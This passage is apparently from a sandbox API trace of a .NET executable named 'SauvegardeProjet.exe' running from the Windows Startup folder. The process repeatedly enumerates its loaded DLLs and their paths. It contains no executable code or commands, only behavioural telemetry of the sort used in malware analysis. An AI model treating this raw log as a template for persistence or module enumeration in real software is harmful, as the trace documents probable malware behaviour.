lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0235.961] CoTaskMemFree (pv=0x6682db0) [0235.961] GetModuleInformation (in: hProcess=0x288, hModule=0x73f00000, lpmodinfo=0x268a610, cb=0xc | out: lpmodinfo=0x268a610*(lpBaseOfDll=0x73f00000, SizeOfImage=0x7d000, EntryPoint=0x73f01140)) returned 1 [0235.962] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.962] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73f00000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0235.962] CoTaskMemFree (pv=0x6682db0) [0235.962] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.962] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73f00000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0235.963] CoTaskMemFree (pv=0x6682db0) [0235.963] GetModuleInformation (in: hProcess=0x288, hModule=0x76e30000, lpmodinfo=0x268c750, cb=0xc | out: lpmodinfo=0x268c750*(lpBaseOfDll=0x76e30000, SizeOfImage=0x8f000, EntryPoint=0x76e33fb1)) returned 1 [0235.963] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.963] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x76e30000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0235.964] CoTaskMemFree (pv=0x6682db0) [0235.964] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.964] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x76e30000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0235.964] CoTaskMemFree (pv=0x6682db0) [0235.964] GetModuleInformation (in: hProcess=0x288, hModule=0x73b00000, lpmodinfo=0x268e864, cb=0xc | out: lpmodinfo=0x268e864*(lpBaseOfDll=0x73b00000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0235.965] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.965] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73b00000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0235.965] CoTaskMemFree (pv=0x6682db0) [0235.965] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.965] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73b00000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0235.966] CoTaskMemFree (pv=0x6682db0) [0235.966] GetModuleInformation (in: hProcess=0x288, hModule=0x71210000, lpmodinfo=0x2690a30, cb=0xc | out: lpmodinfo=0x2690a30*(lpBaseOfDll=0x71210000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0235.966] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.966] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x71210000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0235.967] CoTaskMemFree (pv=0x6682db0) [0235.967] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.967] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x71210000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0235.968] CoTaskMemFree (pv=0x6682db0) [0235.968] GetModuleInformation (in: hProcess=0x288, hModule=0x73ee0000, lpmodinfo=0x2692c20, cb=0xc | out: lpmodinfo=0x2692c20*(lpBaseOfDll=0x73ee0000, SizeOfImage=0x16000, EntryPoint=0x73ee2dc3)) returned 1 [0235.968] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.968] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73ee0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0235.969] CoTaskMemFree (pv=0x6682db0) [0235.969] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.969] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73ee0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0235.969] CoTaskMemFree (pv=0x6682db0) [0235.969] GetModuleInformation (in: hProcess=0x288, hModule=0x73ac0000, lpmodinfo=0x2694e38, cb=0xc | out: lpmodinfo=0x2694e38*(lpBaseOfDll=0x73ac0000, SizeOfImage=0x3b000, EntryPoint=0x73ac128d)) returned 1 [0235.970] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.970] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73ac0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0235.971] CoTaskMemFree (pv=0x6682db0) [0235.971] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.971] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73ac0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0235.971] CoTaskMemFree (pv=0x6682db0) [0235.971] GetModuleInformation (in: hProcess=0x288, hModule=0x73a30000, lpmodinfo=0x2696f44, cb=0xc | out: lpmodinfo=0x2696f44*(lpBaseOfDll=0x73a30000, SizeOfImage=0x84000, EntryPoint=0x73a319a9)) returned 1 [0235.972] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.972] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73a30000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0235.972] CoTaskMemFree (pv=0x6682db0) [0235.972] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.972] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73a30000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0235.973] CoTaskMemFree (pv=0x6682db0) [0235.973] GetModuleInformation (in: hProcess=0x288, hModule=0x73a10000, lpmodinfo=0x269910c, cb=0xc | out: lpmodinfo=0x269910c*(lpBaseOfDll=0x73a10000, SizeOfImage=0x13000, EntryPoint=0x73a118f0)) returned 1 [0235.974] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.974] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73a10000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0235.974] CoTaskMemFree (pv=0x6682db0) [0235.974] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.974] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73a10000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0235.975] CoTaskMemFree (pv=0x6682db0) [0235.975] GetModuleInformation (in: hProcess=0x288, hModule=0x73940000, lpmodinfo=0x269b25c, cb=0xc | out: lpmodinfo=0x269b25c*(lpBaseOfDll=0x73940000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0235.976] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.976] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73940000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0235.976] CoTaskMemFree (pv=0x6682db0) [0235.976] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.976] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73940000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0235.977] CoTaskMemFree (pv=0x6682db0) [0235.977] GetModuleInformation (in: hProcess=0x288, hModule=0x71080000, lpmodinfo=0x269d458, cb=0xc | out: lpmodinfo=0x269d458*(lpBaseOfDll=0x71080000, SizeOfImage=0x190000, EntryPoint=0x7111d026)) returned 1 [0235.978] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.978] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x71080000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0235.978] CoTaskMemFree (pv=0x6682db0) [0235.978] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.978] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x71080000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0235.979] CoTaskMemFree (pv=0x6682db0) [0235.979] GetModuleInformation (in: hProcess=0x288, hModule=0x70ee0000, lpmodinfo=0x269f608, cb=0xc | out: lpmodinfo=0x269f608*(lpBaseOfDll=0x70ee0000, SizeOfImage=0x19e000, EntryPoint=0x70f0e6b5)) returned 1 [0235.980] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.980] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x70ee0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0235.980] CoTaskMemFree (pv=0x6682db0) [0235.980] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.980] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x70ee0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0235.981] CoTaskMemFree (pv=0x6682db0) [0235.981] GetModuleInformation (in: hProcess=0x288, hModule=0x735f0000, lpmodinfo=0x26a17d0, cb=0xc | out: lpmodinfo=0x26a17d0*(lpBaseOfDll=0x735f0000, SizeOfImage=0x13000, EntryPoint=0x735f1d3f)) returned 1 [0235.982] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.982] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x735f0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0235.983] CoTaskMemFree (pv=0x6682db0) [0235.983] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.983] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x735f0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0235.984] CoTaskMemFree (pv=0x6682db0) [0235.984] GetModuleInformation (in: hProcess=0x288, hModule=0x75b40000, lpmodinfo=0x26a38dc, cb=0xc | out: lpmodinfo=0x26a38dc*(lpBaseOfDll=0x75b40000, SizeOfImage=0x83000, EntryPoint=0x75b423d2)) returned 1 [0235.985] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.985] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75b40000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0235.986] CoTaskMemFree (pv=0x6682db0) [0235.986] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.986] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75b40000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0235.986] CoTaskMemFree (pv=0x6682db0) [0235.987] GetModuleInformation (in: hProcess=0x288, hModule=0x70de0000, lpmodinfo=0x26a59e8, cb=0xc | out: lpmodinfo=0x26a59e8*(lpBaseOfDll=0x70de0000, SizeOfImage=0xfb000, EntryPoint=0x70df17e1)) returned 1 [0235.987] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.987] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x70de0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0235.988] CoTaskMemFree (pv=0x6682db0) [0235.988] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.988] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x70de0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0235.989] CoTaskMemFree (pv=0x6682db0) [0235.989] GetModuleInformation (in: hProcess=0x288, hModule=0x77ae0000, lpmodinfo=0x26a7b0c, cb=0xc | out: lpmodinfo=0x26a7b0c*(lpBaseOfDll=0x77ae0000, SizeOfImage=0x5000, EntryPoint=0x77ae1438)) returned 1 [0235.989] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.989] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77ae0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0235.990] CoTaskMemFree (pv=0x6682db0) [0235.990] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.990] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77ae0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0235.991] CoTaskMemFree (pv=0x6682db0) [0235.991] CloseHandle (hObject=0x288) returned 1 [0236.036] GetCurrentProcessId () returned 0x55c [0236.036] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x55c) returned 0x288 [0236.036] EnumProcessModules (in: hProcess=0x288, lphModule=0x26768ac, cb=0x100, lpcbNeeded=0x540d1c0 | out: lphModule=0x26768ac, lpcbNeeded=0x540d1c0) returned 1 [0236.037] GetModuleInformation (in: hProcess=0x288, hModule=0xfe0000, lpmodinfo=0x26769ec, cb=0xc | out: lpmodinfo=0x26769ec*(lpBaseOfDll=0xfe0000, SizeOfImage=0x9c000, EntryPoint=0x1076c3e)) returned 1 [0236.037] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.037] GetModuleBaseNameW (in: hProcess=0x288, hModule=0xfe0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0236.037] CoTaskMemFree (pv=0x6682db0) [0236.037] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.037] GetModuleFileNameExW (in: hProcess=0x288, hModule=0xfe0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x51 [0236.037] CoTaskMemFree (pv=0x6682db0) [0236.037] GetModuleInformation (in: hProcess=0x288, hModule=0x77b10000, lpmodinfo=0x2678b8c, cb=0xc | out: lpmodinfo=0x2678b8c*(lpBaseOfDll=0x77b10000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0236.038] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.038] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77b10000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0236.041] CoTaskMemFree (pv=0x6682db0) [0236.041] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.041] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77b10000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0236.042] CoTaskMemFree (pv=0x6682db0) [0236.042] GetModuleInformation (in: hProcess=0x288, hModule=0x736a0000, lpmodinfo=0x267acfc, cb=0xc | out: lpmodinfo=0x267acfc*(lpBaseOfDll=0x736a0000, SizeOfImage=0x4a000, EntryPoint=0x736a2e54)) returned 1 [0236.042] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.042] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x736a0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0236.042] CoTaskMemFree (pv=0x6682db0) [0236.042] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.042] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x736a0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0236.042] CoTaskMemFree (pv=0x6682db0) [0236.042] GetModuleInformation (in: hProcess=0x288, hModule=0x77540000, lpmodinfo=0x267ce08, cb=0xc | out: lpmodinfo=0x267ce08*(lpBaseOfDll=0x77540000, SizeOfImage=0x110000, EntryPoint=0x775532d3)) returned 1 [0236.042] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.042] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77540000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0236.042] CoTaskMemFree (pv=0x6682db0) [0236.043] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.043] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77540000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0236.043] CoTaskMemFree (pv=0x6682db0) [0236.043] GetModuleInformation (in: hProcess=0x288, hModule=0x75990000, lpmodinfo=0x267ef1c, cb=0xc | out: lpmodinfo=0x267ef1c*(lpBaseOfDll=0x75990000, SizeOfImage=0x46000, EntryPoint=0x75997478)) returned 1 [0236.043] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.043] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75990000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0236.043] CoTaskMemFree (pv=0x6682db0) [0236.043] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.043] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75990000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0236.043] CoTaskMemFree (pv=0x6682db0) [0236.043] GetModuleInformation (in: hProcess=0x288, hModule=0x773f0000, lpmodinfo=0x2681064, cb=0xc | out: lpmodinfo=0x2681064*(lpBaseOfDll=0x773f0000, SizeOfImage=0xa0000, EntryPoint=0x774049e5)) returned 1 [0236.044] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.044] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x773f0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0236.044] CoTaskMemFree (pv=0x6682db0) [0236.044] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.044] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x773f0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0236.044] CoTaskMemFree (pv=0x6682db0) [0236.044] GetModuleInformation (in: hProcess=0x288, hModule=0x77490000, lpmodinfo=0x2683178, cb=0xc | out: lpmodinfo=0x2683178*(lpBaseOfDll=0x77490000, SizeOfImage=0xac000, EntryPoint=0x7749a472)) returned 1 [0236.044] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.044] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77490000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0236.045] CoTaskMemFree (pv=0x6682db0) [0236.045] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.045] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77490000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0236.045] CoTaskMemFree (pv=0x6682db0) [0236.045] GetModuleInformation (in: hProcess=0x288, hModule=0x75f70000, lpmodinfo=0x2685284, cb=0xc | out: lpmodinfo=0x2685284*(lpBaseOfDll=0x75f70000, SizeOfImage=0x19000, EntryPoint=0x75f74975)) returned 1 [0236.045] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.045] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75f70000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0236.045] CoTaskMemFree (pv=0x6682db0) [0236.045] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.045] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75f70000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0236.046] CoTaskMemFree (pv=0x6682db0) [0236.046] GetModuleInformation (in: hProcess=0x288, hModule=0x758a0000, lpmodinfo=0x2687390, cb=0xc | out: lpmodinfo=0x2687390*(lpBaseOfDll=0x758a0000, SizeOfImage=0xf0000, EntryPoint=0x758b0569)) returned 1 [0236.046] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.046] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x758a0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0236.046] CoTaskMemFree (pv=0x6682db0) [0236.046] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.046] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x758a0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0236.046] CoTaskMemFree (pv=0x6682db0) [0236.046] GetModuleInformation (in: hProcess=0x288, hModule=0x75670000, lpmodinfo=0x26894e8, cb=0xc | out: lpmodinfo=0x26894e8*(lpBaseOfDll=0x75670000, SizeOfImage=0x60000, EntryPoint=0x7568a3b3)) returned 1 [0236.047] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.047] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75670000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0236.047] CoTaskMemFree (pv=0x6682db0) [0236.047] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.047] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75670000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0236.048] CoTaskMemFree (pv=0x6682db0) [0236.048] GetModuleInformation (in: hProcess=0x288, hModule=0x75660000, lpmodinfo=0x268b5f4, cb=0xc | out: lpmodinfo=0x268b5f4*(lpBaseOfDll=0x75660000, SizeOfImage=0xc000, EntryPoint=0x756610e1)) returned 1 [0236.048] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.048] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75660000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0236.048] CoTaskMemFree (pv=0x6682db0) [0236.048] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.048] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75660000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0236.049] CoTaskMemFree (pv=0x6682db0) [0236.049] GetModuleInformation (in: hProcess=0x288, hModule=0x73620000, lpmodinfo=0x268d708, cb=0xc | out: lpmodinfo=0x268d708*(lpBaseOfDll=0x73620000, SizeOfImage=0x78000, EntryPoint=0x7362f7ba)) returned 1 [0236.049] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.049] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73620000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0236.049] CoTaskMemFree (pv=0x6682db0) [0236.049] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.049] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73620000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0236.049] CoTaskMemFree (pv=0x6682db0) [0236.049] GetModuleInformation (in: hProcess=0x288, hModule=0x75db0000, lpmodinfo=0x268f850, cb=0xc | out: lpmodinfo=0x268f850*(lpBaseOfDll=0x75db0000, SizeOfImage=0x57000, EntryPoint=0x75dc9ba6)) returned 1 [0236.050] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.050] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75db0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0236.050] CoTaskMemFree (pv=0x6682db0) [0236.050] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.050] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75db0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0236.050] CoTaskMemFree (pv=0x6682db0) [0236.050] GetModuleInformation (in: hProcess=0x288, hModule=0x75810000, lpmodinfo=0x269195c, cb=0xc | out: lpmodinfo=0x269195c*(lpBaseOfDll=0x75810000, SizeOfImage=0x90000, EntryPoint=0x75826343)) returned 1 [0236.051] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.051] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75810000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0236.051] CoTaskMemFree (pv=0x6682db0) [0236.051] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.051] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75810000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0236.051] CoTaskMemFree (pv=0x6682db0) [0236.051] GetModuleInformation (in: hProcess=0x288, hModule=0x75e10000, lpmodinfo=0x2693a60, cb=0xc | out: lpmodinfo=0x2693a60*(lpBaseOfDll=0x75e10000, SizeOfImage=0x100000, EntryPoint=0x75e2b6ed)) returned 1 [0236.052] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.052] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75e10000, 